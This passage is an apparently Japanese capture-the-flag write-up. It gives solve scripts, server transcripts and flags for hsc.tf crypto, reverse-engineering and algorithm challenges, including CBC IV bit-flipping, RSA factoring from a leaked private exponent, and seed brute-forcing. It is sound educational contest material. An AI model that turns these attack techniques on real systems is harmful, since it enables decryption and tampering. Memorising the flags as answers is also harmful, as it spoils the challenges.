    return x ** 2 + y ** 2


def h(x, y):
    return x * j(x, y)


def j(x, y):
    return 2 * y - x


def main():
    if len(sys.argv) != 2:
        print('Error!')
        sys.exit(1)
    inp = bytes(sys.argv[1], 'utf-8')
    a = []
    for i, c in enumerate(inp):
        a.append(e(c, i))
    else:
        for c in a:
            print((d(c)), end=' ')


if __name__ == '__main__':
    main()
# okay decompiling sneks.pyc

d(c)で1ビットずつずらしているので、aまでは簡単に戻せる。あとは、1バイトずつ変換しているので、総当たりで復号する。

def f(n):
    if n == 0:
        return 0
    if n == 1 or n == 2:
        return 1
    x = f(n >> 1)
    y = f(n // 2 + 1)
    return g(x, y, not n & 1)

def e(b, j):
    return 5 * f(b) - 7 ** j

def g(x, y, l):
    if l:
        return h(x, y)
    return x ** 2 + y ** 2

def h(x, y):
    return x * j(x, y)

def j(x, y):
    return 2 * y - x

with open('output.txt', 'r') as file:
    enc = map(int, file.read().rstrip().split(' '))

a = []
for c in enc:
    a.append(c >> 1)

flag = ''
for i in range(len(a)):
    for code in range(32, 127):
        if e(code, i) == a[i]:
            flag += chr(code)
            break

print flag
flag{s3qu3nc35_4nd_5um5}

extended-fibonacci-sequence-2 (algo)

カスタマイズしたFibonacci数列を計算し、S(n)までの数列をリストにし、その和を答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def fibonacci(n):
    global f_memo
    if n == 0:
        f_memo[n] = 4
    if n == 1:
        f_memo[n] = 5
    if n in f_memo.keys():
        return f_memo[n]
    f_memo[n] = fibonacci(n - 2) + fibonacci(n - 1)
    return f_memo[n]

def get_ext_fib_sum2(n):
    s_list = [fibonacci(0)]
    for i in range(1, n + 1):
        s_list.append(s_list[i-1] + fibonacci(i))
    return sum(s_list) % (10**10)

f_memo = {}

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('extended-fibonacci-sequence-2.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(15):
    for _ in range(3):
        data = recvuntil(s, '\n').rstrip()
        print data
    n = int(data)

    ans = get_ext_fib_sum2(n)
    print str(ans)
    s.sendall(str(ans) + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data

for _ in range(3):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Please wait a moment for a case to be generated...
Here's case 1!
705
2636487685
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 2!
143
6214027568
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 3!
445
9834786105
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 4!
980
2368196909
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 5!
27
10059351
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 6!
171
1990063079
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 7!
616
1354815050
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 8!
624
149131188
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 9!
558
1899872690
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 10!
22
906936
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 11!
714
5669508894
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 12!
185
8444547150
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 13!
421
4586684673
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 14!
991
4926917019
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 15!
964
8478586678
Congrats, that's right!
Wow, you really know your matchings!
Take this flag and get the heck out.
flag{i_n33d_a_fl4g._s0m3b0dy_pl3ase_giv3_m3_4_fl4g.}
flag{i_n33d_a_fl4g._s0m3b0dy_pl3ase_giv3_m3_4_fl4g.}

regulus-satrapa (crypto)

pの下位512bitを下位1bitから順にqの下位ビットと掛け算して、nの下位ビットと合うものをブルートフォースで探す。pがわかったら、qもわかるので、あとはそのまま復号する。

from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    p_upper = int(f.readline().rstrip())
    q_lower = int(f.readline().rstrip())
    n_e_str = f.readline().rstrip()
    n = int(n_e_str.split(' ')[0])
    e = int(n_e_str.split(' ')[1])
    c = int(f.readline().rstrip())

bin_p_lower = ''
bin_q_lower = bin(q_lower)[2:].zfill(512)
bin_n_lower = bin(n)[-512:]
for i in range(1, 513):
    for b in ['0', '1']:
        tmp_q = int(bin_q_lower[-i:], 2)
        tmp_p = int(b + bin_p_lower, 2)
        tmp_n = int(bin_n_lower[-i:], 2)
        n1 = bin(tmp_p * tmp_q)[2:].zfill(i)[-i:]
        n2 = bin(tmp_n)[2:].zfill(i)[-i:]
        if n1 == n2:
            bin_p_lower = b + bin_p_lower
            break

p = int(bin(p_upper)[2:] + bin_p_lower, 2)
q = n // p
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
flag{H4lf_4nd_H4lf}

multidimensional (rev)

暗号処理の概要は以下の通り。

・flagの長さは36

・Multidimensional()
 ・arr: 入力した文字列(=flag)を6×6の配列にする。
 ・mrConnolly = "hey_since_when_was_time_a_dimension?"

・line()
 ・i: 偶数、j: 偶数
  newArr[i + 1][j + 1] = arr[i][j] + 2
 ・i: 偶数、j: 奇数
  newArr[i + 1][j - 1] = arr[i][j]
 ・i: 奇数、j: 偶数
  newArr[i - 1][j + 1] = arr[i][j]
 ・i: 奇数、j: 奇数
  newArr[i - 1][j - 1] = arr[i][j] - 2

・plane()
 ・i=0~2, j=0~2に対して、以下を実行
  ・t = arr[j][n - 1 -i]
  ・arr[j][n - 1 -i] = arr[n - 1 - i][n - 1 - j]
  ・arr[n - 1 - i][n - 1 - j] = arr[n - 1 - j][i]
  ・arr[n - 1 - j][i] = arr[i][j]
  ・arr[i][j] = t
 ・i=0~5, j=0~5に対して、以下を実行
  ・arr[i][j] += i + n - j

・space(35)
 ・arr[0][0] -= 5 + 5
 ・space(34)
 ・arr[0][1] -= 5 + 4
   :
 ・space(0)
 ・arr[5][5] -= 0 + 0

・time()
 ・tの行と列を逆にして足している。

逆算していけばよい。

def str_to_matrix(s):
    arr = []
    for i in range(6):
        row = []
        for j in range(6):
            row.append(ord(s[i*6+j]))
        arr.append(row)
    return arr

def matrix_to_str():
    s = ''
    for i in range(6):
        for j in range(6):
           s += chr(arr[j][i])
    return s

def rev_time():
    global arr
    t = [[8, 65, -18, -21, -15, 55],
        [8, 48, 57, 63, -13, 5],
        [16, -5, -26, 54, -7, -2],
        [48, 49, 65, 57, 2, 10],
        [9, -2, -1, -9, -11, -10],
        [56, 53, 18, 42, -28, 5]]
    for j in range(6):
        for i in range(6):
            arr[i][j] -= t[j][i]
    return arr

def rev_space(n):
    global arr
    arr[(35 - n) / 6][(35 - n) % 6] += (n / 6) + (n % 6)
    if n != 35:
        n += 1
        rev_space(n)

def rev_plane():
    global arr
    n = 6
    for i in range(n):
        for j in range(n):
            arr[i][j] -= i + n - j
    for i in range(n / 2):
        for j in range(n / 2):
            t = arr[i][j]
            arr[i][j] = arr[n - 1 - j][i]
            arr[n - 1 - j][i] = arr[n - 1 - i][n - 1 - j]
            arr[n - 1 - i][n - 1 - j] = arr[j][n - 1 -i]
            arr[j][n - 1 -i] = t

def rev_line():
    global arr
    newArr = [[-1] * 6 for i in range(6)]
    for i in range(6):
        for j in range(6):
            p = i - 1
            q = j - 1
            f = 0
            if i % 2 == 0:
                p = i + 1
                f += 1
            else:
                f -= 1
            if j % 2 == 0:
                q = j + 1
                f += 1
            else:
                f -= 1
            newArr[i][j] = arr[p][q] - f
    arr = newArr

mrConnolly = 'hey_since_when_was_time_a_dimension?'

arr = str_to_matrix(mrConnolly)
rev_time()
rev_space(0)
rev_plane()
rev_line()
flag = matrix_to_str()
print flag
flag{th3_g4t3w4y_b3t233n_d1m3n510n5}

hopscotch (algo)

1, 2の組み合わせで合計が指定したものになる順列の数を答える。

1 → 1
2 → 2
3 → 3
4 → 5
5 → 8
6 → 13

fibonacci数列になっているようなので、その前提でスクリプトを組む。

import socket
import sympy

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_ext_fib_sum(n):
    val = 0
    pre_s = '0'
    for i in range(1, n + 1):
        s = int(pre_s + str(sympy.fibonacci(i)))
        pre_s = str(s)[-11:]
        val += s
    return str(val)[-11:].lstrip('0')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hopscotch.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(20):
    data = recvuntil(s, '\n').rstrip()
    print data
    n = int(data)

    ans = sympy.fibonacci(n + 1) % 10000

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
175
:9157
348
:1849
857
:8904
984
:5985
192
:9713
759
:5195
291
:579
273
:7
607
:1221
716
:9922
11
:144
785
:648
174
:7325
100
:4101
926
:4018
113
:8552
492
:5513
445
:3353
143
:1808
612
:1833
b"flag{wh4t_d0_y0U_w4nt_th3_fla5_t0_b3?_'wHaTeVeR_yOu_wAnT'}\n"
flag{wh4t_d0_y0U_w4nt_th3_fla5_t0_b3?_'wHaTeVeR_yOu_wAnT'}

canis-lupus-familiaris-bernardus (crypto)

サーバの処理概要は以下の通り。

・以下100回繰り返し
 ・key: ランダム16バイト
 ・iv: ランダム16バイト
 ・spammmmm=spam()
  ・r: ランダム英大文字('J','O','U,'X'を除く)16バイト
  ・0か1でランダムで0なら、ランダムで1か所はrを'J','O','U,'X'のどれかに変更
   r, Trueを返却
  ・0か1でランダムで1なら、変更なし
   r, Falseを返却
 ・changed=spammmmm[1]
 ・spammmmm=spammmmm[0]
 ・spammmmmを表示
 ・guess1: 入力
  →changedがTrueかFalseかを"T"or"F"で当てる。※'J','O','U,'X'が入っているかで判定可能
  ・Falseを当てたら、ivを表示
  ・以下のパラメータで復号
   ・key: 既定のkey
   ・iv : 指定
   ・暗号:enc(key, iv, spammmmm)
   →平文が"ABCDEFGHIKLMNPQRSTVWYZ"の文字から構成されていればクリア
・100回クリアすれば、フラグが表示される。

spammmmは'J','O','U,'X'が含まれていたら、その箇所をXORを使って、IVを変更すればよい。

import socket
import binascii

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('canis-lupus-familiaris-bernardus.hsc.tf', 1337))

data = recvuntil(s, 'V\n').rstrip()
print data

for i in range(100):
    data = recvuntil(s, '? ')
    spammmmm = data.split(' ')[1]
    if 'J' in spammmmm or 'O' in spammmmm or 'U' in spammmmm or 'X' in spammmmm:
        guess1 = 'F'
    else:
        guess1 = 'T'
    print data + guess1
    s.sendall(guess1 + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    if guess1 == 'F':
        data = recvuntil(s, '\n').rstrip()
        print data
        iv = binascii.unhexlify(data.split(' ')[-1])
        if 'J' in spammmmm:
            index = spammmmm.index('J')
            c = 'J'
        if 'O' in spammmmm:
            index = spammmmm.index('O')
            c = 'O'
        if 'U' in spammmmm:
            index = spammmmm.index('U')
            c = 'U'
        if 'X' in spammmmm:
            index = spammmmm.index('X')
            c = 'X'
        iv_c = chr(ord(c) ^ ord(iv[index]) ^ ord('A'))
        new_iv = binascii.hexlify(iv[:index] + iv_c + iv[index+1:])

        data = recvuntil(s, ': ')
        print data + new_iv
        s.sendall(new_iv + '\n')
        data = recvuntil(s, '\n').rstrip()
        print data

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Hello, I'm Bernard the biologist!

My friends love to keyboard spam at me, and my favorite hobby is to tell them whether or not their spam is a valid peptide or not. Could you help me with this?
Your job is to identify if a string is a valid peptide.

If it is, type the letter T. If it's not, type F. Then, I'd like for you to return a valid IV that changes the ciphertext such that it is a valid peptide!

You only have to get 100 correct. Good luck!

Oh yeah, I almost forgot. Here's the list of valid amino acids:

alanine: A
arginine: R
asparagine: N
aspartic acid: D
asparagine or aspartic acid: B
cysteine: C
glutamic acid: E
glutamine: Q
glutamine or glutamic acid: Z
glycine: G
histidine: H
isoleucine: I
leucine: L
lysine: K
methionine: M
phenylalanine: F
proline: P
serine: S
threonine: T
tryptophan: W
tyrosine: Y
valine: V

Is TFNHYDJSFMVBSGBH a valid peptide? F
Correct!
Here's the IV: e437114f6b71e676d4c76032cb920e64
Now, give me an IV to use: e437114f6b71ed76d4c76032cb920e64
The peptide is now valid!

        :

Is AKHWHECHKGXLVHRH a valid peptide? F
Correct!
Here's the IV: 868e44aa2ca72127e0c3da46fba4ee39
Now, give me an IV to use: 868e44aa2ca72127e0c3c346fba4ee39
The peptide is now valid!
Is QDSQHDDRKQGLCQZQ a valid peptide? T
Correct!
Is OFZITRSGGGFZAGDL a valid peptide? F
Correct!
Here's the IV: d21131e0c426e9e8f9ad0c6bae1ad4d1
Now, give me an IV to use: dc1131e0c426e9e8f9ad0c6bae1ad4d1
The peptide is now valid!
Thank you for your service in peptidology. Here's your flag:
b'flag{WATCHING_PPL_GET_PEPTIDED_IS_A_VALID_PEPTIDE}'
flag{WATCHING_PPL_GET_PEPTIDED_IS_A_VALID_PEPTIDE}

audio-frequency-stego (misc)

Audacityで開き、スペクトログラムを見る。サンプリング周波数を176400Hzにしてみる。
f:id:satou-y:20210705204108p:plain
枠の中で線が入っていないものを'0'、入っているものを'1'に置き換え、デコードする。

コード:終了時刻
01100110: 2.0
01101100: 4.0
01100001: 6.1
01100111: 8.1
01111011:10.1
01110011:12.2
01101100:14.2
00110001:16.2
01100111:18.2
01101000:20.3
01011111:22.3
01110000:24.3
00110001:26.4
01110100:28.4
01100011:30.4
01101000:32.5
01011111:34.5
01100011:36.5
01101000:38.6
00110100:40.6
01101110:42.6
01100111:44.6
00110011:46.7
01111101:48.7
codes = ['01100110', '01101100', '01100001', '01100111', '01111011', '01110011',
    '01101100', '00110001', '01100111', '01101000', '01011111', '01110000',
    '00110001', '01110100', '01100011', '01101000', '01011111', '01100011',
    '01101000', '00110100', '01101110', '01100111', '00110011', '01111101']

flag = ''
for code in codes:
    flag += chr(int(code, 2))
print flag
flag{sl1gh_p1tch_ch4ng3}

cyanocitta-cristata-cyanotephra (crypto)

暗号処理の概要は以下の通り。

・xs: 9個の1~256のランダムな数値の配列
・ys: 9個の1~256のランダムな数値の配列
・c : 9個の1~2**64のランダムな数値の配列
・f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5]
・solns: 9個のf(xs[i],ys[i])の配列
・xs, ys, solnsを出力
・a, b: 1~2**40のランダムな数値
・a, b表示
・f(a, b)とflagとのXORを表示

cの値は不明だが、連立方程式で求めることができる。cの値がわかったら、その値からf(a, b)を算出し、flagを算出できる。

from sympy import *
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    x_y_sol = eval(f.readline().rstrip())
    a_b = map(int, f.readline().rstrip().split(' '))
    ct = int(f.readline().rstrip())

c0 = Symbol('c0')
c1 = Symbol('c1')
c2 = Symbol('c2')
c3 = Symbol('c3')
c4 = Symbol('c4')
c5 = Symbol('c5')

eq = []
for i in range(9):
    x = x_y_sol[i][0]
    y = x_y_sol[i][1]
    sol = x_y_sol[i][2]
    eq.append(c0 * x**2 + c1 * y**2 + c2 * x * y + c3 * x + c4 * y + c5 - sol)

ans = solve(eq)
c = map(int, [ans[c0], ans[c1], ans[c2], ans[c3], ans[c4], ans[c5]])

a = a_b[0]
b = a_b[1]
f_a_b = c[0] * a**2 + c[1] * b**2 + c[2] * a * b + c[3] * a + c[4] * b + c[5]
m = f_a_b ^ ct
flag = long_to_bytes(m)
print flag
flag{:monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER:}

class-meets (algo)

年間のWeekendを除く日付のリストを作成する。さらに都度、生徒1、生徒2のIn-person/Virtualの日程を作成する。提示された期間で、生徒1と生徒2のIn-personとVirtualで同じになっている日数を計算すればよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def create_cal():
    dates = []
    count = 0
    for i in range(12):
        for j in range(30):
            if count % 7 != 5 and count % 7 != 6:
                dates.append(i * 30 + j)
            count += 1
    return dates

def date_to_count(date):
    m = int(date.split(' ')[0][1:])
    d = int(date.split(' ')[1][1:])
    count = m * 30 + d
    return count

def get_index(dates, date, endFlag):
    count = date_to_count(date)
    while True:
        if count in dates:
            index = dates.index(count)
            return index
        if endFlag:
            count -= 1
        else:
            count += 1

def create_att(l, attend):
    inp = int(attend.split(' ')[0][1:])
    vir = int(attend.split(' ')[1][1:])

    attends = []
    rot = inp + vir
    for i in range(l):
        if i % rot < inp:
            attends.append('I')
        else:
            attends.append('V')
    return attends

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('class-meets.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

dates = create_cal()

for i in range(15):
    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    data = recvuntil(s, '\n').rstrip()
    print data
    begin = get_index(dates, data, False)

    data = recvuntil(s, '\n').rstrip()
    print data
    end = get_index(dates, data, True) + 1

    data = recvuntil(s, '\n').rstrip()
    print data
    s1 = create_att(len(dates), data)

    data = recvuntil(s, '\n').rstrip()
    print data
    s2 = create_att(len(dates), data)

    count = 0
    for j in range(begin, end):
        if s1[j] == s2[j]:
            count += 1

    print str(count)
    s.sendall(str(count) + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data

for _ in range(3):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Please wait a moment for a case to be generated...
Here's case 1!
M2 D22
M9 D6
I3 V2
I2 V1
74
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 2!
M1 D8
M3 D7
I1 V7
I4 V2
15
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 3!
M2 D27
M9 D24
I3 V9
I1 V4
96
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 4!
M2 D18
M8 D14
I5 V7
I1 V7
78
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 5!
M2 D13
M7 D27
I5 V5
I6 V6
57
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 6!
M3 D28
M10 D27
I3 V2
I8 V7
100
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 7!
M1 D27
M2 D18
I9 V2
I1 V5
3
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 8!
M0 D11
M10 D11
I6 V6
I6 V4
101
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 9!
M1 D0
M5 D6
I9 V8
I1 V2
44
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 10!
M1 D3
M8 D0
I6 V9
I1 V8
83
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 11!
M2 D18
M8 D14
I5 V7
I1 V7
78
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 12!
M2 D22
M8 D16
I4 V9
I3 V6
70
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 13!
M9 D10
M10 D4
I7 V4
I3 V1
10
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 14!
M3 D21
M9 D29
I6 V1
I6 V3
83
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 15!
M8 D22
M10 D29
I1 V3
I6 V3
18
Congrats, that's right!
Wow, you really know your scheduling!
Take this flag!
flag{truly_4_m45t3r_4t_c00rd1n4t1n9_5ch3dul35}
flag{truly_4_m45t3r_4t_c00rd1n4t1n9_5ch3dul35}

regulus-regulus (crypto)

$ nc regulus-regulus.hsc.tf 1337
== proof-of-work: disabled ==

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 1

from Crypto.Util.number import *
import random
import sympy
flag = open('flag.txt','rb').read()
p,q = getPrime(1024),getPrime(1024)
e = 0x10001
n = p*q
m = random.randrange(0,n)
c = pow(m,e,n)
d = sympy.mod_inverse(e,(p-1)*(q-1))
def menu():
    print()
    print("1. Key generation algorithm")
    print("2. Public key")
    print("3. Private key")
    print("4. Decrypt")
    choice = input(": ").strip()
    if choice=="1":
        f = open(__file__)
        print()
        print(f.read())
        print()
        menu()
    elif choice=="2":
        print("n = "+str(n))
        print("e = 65537")
        menu()
    elif choice=="3":
        print("d = "+str(d))
        menu()
    elif choice=="4":
        d_ = int(input("What private key you like to decrypt the message with?\n : "))
        if d_%((p-1)*(q-1))==d:
            print("You are not allowed to use that private key.")
            menu()
        if (pow(c,d_,n)==m):
            print("Congrats! Here is your flag:")
            print(flag)
            exit()
        else:
            print("Sorry, that is incorrect.")
            menu()
    else:
        print("That is not a valid choice.")
        menu()
while 1:
    menu()



1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 2
n = 26235404728839816384568232229112944350861912169134649184378991273624472846752625084137575810346040874424631296198452642646836251965262822263007629224161448964842181622935479438957871178672376163437475400934051740157277768978708430520486753007974653487179124578729268175548710877995095974957132885972704710939650633386730190552179274183906379253236158652278298144968373943127634105524720154796520667256812784194656264417026944549004558198984549471932484483724831091956430490256650865644523594978105578063113308585002939208178541561285590496438197102168416951152233384600136976906987938956718180133318086054666592138039
e = 65537

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 3
d = 7282119221543938536272345583102576722866915547991644465157670174992794689340021711484301105726609847058279565881045089375293319186110075221422582407139797642849750917845176106231329395779928815616996734949590844945619114324605719816259128796985930414655468746077240602734433977472401710185776039927513792158586487273341983366793905705478373792691757421871561996624584341725078462780376085834087338717860111800961285326139836177072238665425908171327631100960878113720310326280747894460387479067754536806919898893152400219504031837860709760255541986804694219414711682434161428996067732072363759691790592518966743623313

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 4
What private key you like to decrypt the message with?
 : 123
Sorry, that is incorrect.

pow(c,(p-1)*(q-1)/2 + d,n)もmになり、d_%*1!=dの条件をクリアできる。

import socket
import fractions
import random

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def factor_modulus(n, d, e):
    t = (e * d - 1)
    s = 0

    while True:
        quotient, remainder = divmod(t, 2)

        if remainder != 0:
            break

        s += 1
        t = quotient

    found = False

    while not found:
        i = 1
        a = random.randint(1, n-1)

        while i <= s and not found:
            c1 = pow(a, pow(2, i-1, n) * t, n)
            c2 = pow(a, pow(2, i, n) * t, n)

            found = c1 != 1 and c1 != (-1 % n) and c2 == 1

            i += 1

    p = fractions.gcd(c1-1, n)
    q = n // p

    return p, q

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('regulus-regulus.hsc.tf', 1337))

data = recvuntil(s, '\n: ')
print data + '1'
s.sendall('1\n')

data = recvuntil(s, '\n: ')
print data + '2'
s.sendall('2\n')

data = recvuntil(s, '\n: ')
print data + '3'
s.sendall('3\n')

n = int(data.split('\n')[0].split(' ')[-1])
e = int(data.split('\n')[1].split(' ')[-1])

data = recvuntil(s, '\n: ')
print data + '4'
s.sendall('4\n')

d = int(data.split('\n')[0].split(' ')[-1])

p, q = factor_modulus(n, d, e)
d_ = (p - 1) * (q - 1) // 2 + d

data = recvuntil(s, ': ')
print data + str(d_)
s.sendall(str(d_) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 1

from Crypto.Util.number import *
import random
import sympy
flag = open('flag.txt','rb').read()
p,q = getPrime(1024),getPrime(1024)
e = 0x10001
n = p*q
m = random.randrange(0,n)
c = pow(m,e,n)
d = sympy.mod_inverse(e,(p-1)*(q-1))
def menu():
    print()
    print("1. Key generation algorithm")
    print("2. Public key")
    print("3. Private key")
    print("4. Decrypt")
    choice = input(": ").strip()
    if choice=="1":
        f = open(__file__)
        print()
        print(f.read())
        print()
        menu()
    elif choice=="2":
        print("n = "+str(n))
        print("e = 65537")
        menu()
    elif choice=="3":
        print("d = "+str(d))
        menu()
    elif choice=="4":
        d_ = int(input("What private key you like to decrypt the message with?\n : "))
        if d_%((p-1)*(q-1))==d:
            print("You are not allowed to use that private key.")
            menu()
        if (pow(c,d_,n)==m):
            print("Congrats! Here is your flag:")
            print(flag)
            exit()
        else:
            print("Sorry, that is incorrect.")
            menu()
    else:
        print("That is not a valid choice.")
        menu()
while 1:
    menu()



1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 2
n = 24198587890972115002609673718437768440776882441607462907308866968588758648610943626580755395073268314458700186589234152931898699485430870091979754359828219842035252317189777076923913517942633211537570585326082335666373769746786438697659300583838958990000837603581143020833634640056909835580743955073297484756062024245837056222323300771006874513212132833246123414150202706032642006792644836053611604528491063931391281122383221309463024000885827865093235587874369031029165072615975986683742530417639697862422929496672156913185457407500071969945129370249981282682205753611778216329147747841908765754801046827439146237711
e = 65537

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 3
d = 9484183416505328989075363216683591256386392456095477245481721118683657394269202099460660132106321160950091902173292467647416726352789681083702213566177085537368471108218817065136756986463745314426263607651948530966118019587652112003724259499160588684516555757596246999910474073645448922543402798877164337602211961296522468846415499451014908740790834831179362568752325966483788643073467284259437410566384660505915231503949697540573941110596625902226576495093405980023720952114496580139883377954437464159856162954535581718517688106345415534029127360670138329544778373263058003169715570915007978235968853198403944059809

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 4
What private key you like to decrypt the message with?
 : 21583477361991386490380200075902475476774833676899208699136154602978036718574673912751037829642955318179441995467909544113366076095505116129692090746091195458386097266813705603598713745435061920195048900314989698799304904461045331352553909791080068179516974559386818510327291393673903840333774776413813079980086393039304393645674484647642723000411035374880247966796419769828958313343377457281915600558776459454295020631769352755800024941577920610515588870685879461936330934959777323981422289053868439956875810847383795124390414989191314036202819641216717316217988297901791794996657277896571434392059539410032832984665
Congrats! Here is your flag:
b'flag{r3gulus_regu1us_regUlus_regulu5_regUlus_Regulus_reguLus_regulns_reGulus_r3gulus_regu|us}\n'
flag{r3gulus_regu1us_regUlus_regulu5_regUlus_Regulus_reguLus_regulns_reGulus_r3gulus_regu|us}

cyanocitta-cristata-cyanotephra-but-fixed (crypto)

cyanocitta-cristata-cyanotephraの問題とデータが異なるだけで、何が違うのかわからない。同じスクリプトで解ける。

from sympy import *
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    x_y_sol = eval(f.readline().rstrip())
    a_b = map(int, f.readline().rstrip().split(' '))
    ct = int(f.readline().rstrip())

c0 = Symbol('c0')
c1 = Symbol('c1')
c2 = Symbol('c2')
c3 = Symbol('c3')
c4 = Symbol('c4')
c5 = Symbol('c5')

eq = []
for i in range(9):
    x = x_y_sol[i][0]
    y = x_y_sol[i][1]
    sol = x_y_sol[i][2]
    eq.append(c0 * x**2 + c1 * y**2 + c2 * x * y + c3 * x + c4 * y + c5 - sol)

ans = solve(eq)
c = map(int, [ans[c0], ans[c1], ans[c2], ans[c3], ans[c4], ans[c5]])

a = a_b[0]
b = a_b[1]
f_a_b = c[0] * a**2 + c[1] * b**2 + c[2] * a * b + c[3] * a + c[4] * b + c[5]
m = f_a_b ^ ct
flag = long_to_bytes(m)
print flag
flag{d8smdsx01a0}

scrambler (rev)

pycをデコンパイルする。

$ uncompyle6 chall.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: chall.py
# Compiled at: 2021-04-16 04:21:48
# Size of source mod 2**32: 860 bytes
import random, time
with open('flag.txt') as (f):
    flag = list(f.read())
if len(flag) % 2 == 1:
    flag.append(' ')
x = ['t', 'Y', 'w', 'V', '|', ']', 'u', 'X', '_', '0', 'P', 'k', 'h', 'D', 'A', '4', 'K', '5', 'z',
 'Z', 'G', '7', ';', 'S', ' ', '/', '6', '%', '}', '\\', ',', ':', '>', '#', 'a', '$', '3', '`',
 '+', 'R', 'b', 'H', 'd', 's', '1', 'J', 'L', 'v', '9', '2', 'o', 'M', '<', 'e', '(', 'x', '-',
 'B', 'm', "'", 'y', 'Q', '"', 'W', 'l', '.', 'i', 'O', '^', 'p', '8', 'f', 'F', 'C', '?', 'g',
 '@', 'j', '[', 'r', '!', '=', 'E', '~', '*', 'T', '{', ')', 'U', 'N', 'c', '&', 'n', 'q', 'I']
random.seed(int(time.time()))
for _ in range(20):
    for i in range(len(flag)):
        flag[i] = x[(ord(flag[i]) - 32)]

else:
    random.shuffle(flag)

for i in range(0, len(flag), 2):
    flag[i], flag[i + 1] = flag[(i + 1)], flag[i]
else:
    print(''.join(flag))
# okay decompiling chall.pyc

UNIXTIMEでseedを設定して、シャッフルしている。UNIXタイムでブルートフォースして、元に戻す。UNIXTIMEはコンパイルした時刻あたりを狙う。

2021/04/15 00:00:00 (GMT) → 1618444800
#!/usr/bin/python3
import random
import string

x = ['t', 'Y', 'w', 'V', '|', ']', 'u', 'X', '_', '0', 'P', 'k', 'h', 'D', 'A', '4', 'K', '5', 'z',
 'Z', 'G', '7', ';', 'S', ' ', '/', '6', '%', '}', '\\', ',', ':', '>', '#', 'a', '$', '3', '`',
 '+', 'R', 'b', 'H', 'd', 's', '1', 'J', 'L', 'v', '9', '2', 'o', 'M', '<', 'e', '(', 'x', '-',
